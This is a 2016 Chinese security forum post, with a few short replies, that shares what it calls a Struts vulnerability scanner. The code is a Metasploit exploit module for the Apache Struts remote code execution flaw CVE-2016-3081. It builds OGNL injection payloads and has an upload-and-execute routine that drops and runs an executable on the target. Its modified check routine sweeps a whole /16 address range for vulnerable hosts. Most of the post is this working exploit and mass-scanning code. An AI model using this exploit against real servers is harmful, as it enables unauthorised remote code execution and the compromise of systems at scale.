首页
社区
课程
招聘
[原创]struts的漏洞扫描程序
发表于: 2016-5-7 09:25 4108

[原创]struts的漏洞扫描程序

2016-5-7 09:25
4108

碰到一个漏洞,总是得有一个好的平台来验证,来应用。想从网海中找到自己要洞也是不容易的事情,等漏洞扫描软件更新,估计黄花菜都凉了。必要的时候,还得自己来编写一个来的实在。
     最近,struts漏洞比较火,我整了个扫描程序,分享下

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
        Execution can be performed via method: prefix when Dynamic Method Invocation
        is enabled.
      },
      'Author'         => [
        'Nixawk', # original metasploit module
        'rungobier' # improved metasploit module
       ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-3081' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
        ],
      'Platform'      => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Apr 27 2016',
      'DefaultTarget' => 2))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ], self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def get_target_platform
    target.platform.platforms.first
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path

      case get_target_platform
      when Msf::Module::Platform::Windows
        slash = '\\'
      when
        slash = '/'
      else
      end

      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def send_http_request(payload, params_hash)
    uri = normalize_uri(datastore['TARGETURI'])
    uri = "#{uri}?#{payload}"
    resp = send_request_cgi(
      {
       'uri'     => uri,
      'version' => '1.1',
      'method'  => 'POST',
      'vars_post' => params_hash
      },
      timeout = 1
    )
    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def generate_rce_payload(code)
    payload = "method:"
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("1?#xx:#request.toString")
    payload
  end

  def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code =  "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
    code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
    code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
    code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
    payload = generate_rce_payload(code)

    params_hash = {
      var_d => Rex::Text.encode_base64(cmd),
      var_e => Rex::Text.encode_base64(filename),
      var_f => content
    }
    send_http_request(payload, params_hash)
  end

  def check
      lip=datastore['RHOST']
      lport=datastore['RPORT']
      segs=lip.split(".")
      begin
          check_ori
      rescue
          puts(lip+" error")
      end
      for a in 0..254
         for b in 0..254
         segs[2]=a
         segs[3]=b
         newip=segs.join(".")

         register_options(
            [
              Opt::RHOST(newip),
              Opt::RPORT(lport),
            ], self.class)
           begin
               check_ori
           rescue
               puts(newip+" time out")
           end
           end
       end
  end

  def check_ori
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }

    begin
      resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable
      puts(datastore['RHOST']+ "  vul")
    else
      Exploit::CheckCode::Safe
      puts (datastore['RHOST']+ "  safe")
    end
  end

end


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 3
支持
分享
最新回复 (4)
雪    币: 29
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
原来楼主就是Nixawk
2016-5-7 13:34
0
雪    币: 202
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
呵呵,按Nixawk 的exploit改的,你还挺严谨哈。
2016-5-25 17:45
0
雪    币: 29
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
没看出来哪改了。。。
2016-5-27 18:51
0
雪    币: 202
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
好吧,你赢了。
2016-6-7 16:10
0
游客
登录 | 注册 方可回帖
返回
//